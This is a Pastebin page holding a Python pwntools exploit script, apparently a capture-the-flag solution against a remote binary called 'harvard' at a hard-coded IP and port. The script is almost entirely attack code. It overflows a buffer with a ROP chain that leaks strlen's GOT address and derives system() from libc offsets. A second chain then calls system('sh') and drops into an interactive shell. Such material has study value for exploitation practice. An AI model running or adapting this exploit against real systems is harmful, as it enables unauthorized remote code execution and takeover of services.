Advertisement
orange_tw

Untitled

Mar 1st, 2015
6,710
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.24 KB | None | 0 0
  1. from pwn import *
  2.  
  3. HOST, PORT = '52.1.91.215', 2114
  4.  
  5. elf = ELF('har/harvard')
  6. strlen_got = elf.got['strlen']
  7.  
  8. def preproc(r):
  9.     r.recvuntil(";-) : ")
  10.     r.send('AAAAAAAABBBBBBBBCCCCCCCC' + p64(0x4017df)  + "DDDDDDD" + "\n")
  11.     r.recvuntil("Sleep\n")
  12.     r.send('1\n')
  13.     r.recvuntil("Windows\n")
  14.     r.send('1\n')
  15.     r.recvuntil("buy?\n")
  16.     r.send('1\n')
  17.     r.recvuntil("Sleep\n")
  18.     r.send('4\n')
  19.     r.recvuntil("Brookline) ")
  20.     r.send('1\n')
  21.  
  22. # leak address
  23. r = remote(HOST, PORT)
  24. preproc(r)
  25. payload = 'A'* 280
  26. payload += p64(0x0000000000402fc3) # pop rdi; ret
  27. payload += p64( strlen_got ) # GOT of strlen
  28. payload += p64( 0x00000000004024ec ) # puts
  29. payload = payload + ("A"*(399-len(payload)))
  30. r.send(payload + '\n')
  31.  
  32. r.recvuntil('\n')
  33. r.recvuntil('!\n')
  34.  
  35. leak = r.recv()[:-1] + '\x00\x00'
  36. leak = u64(leak)
  37. system_address = leak - 0x0000000000089650 + 0x0000000000046640
  38. print 'get system address: 0x%016x' % system_address
  39.  
  40. # run system
  41. r = remote(HOST, PORT)
  42. preproc(r)
  43. payload = 'A'* 280
  44. payload += p64( 0x0000000000402fc3 ) # pop rdi; ret
  45. payload += p64( 0x4006be ) # sh
  46. payload += p64( system_address ) # system
  47.  
  48. payload = payload + ("A"*(399-len(payload)))
  49. r.send(payload + '\n')
  50. r.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement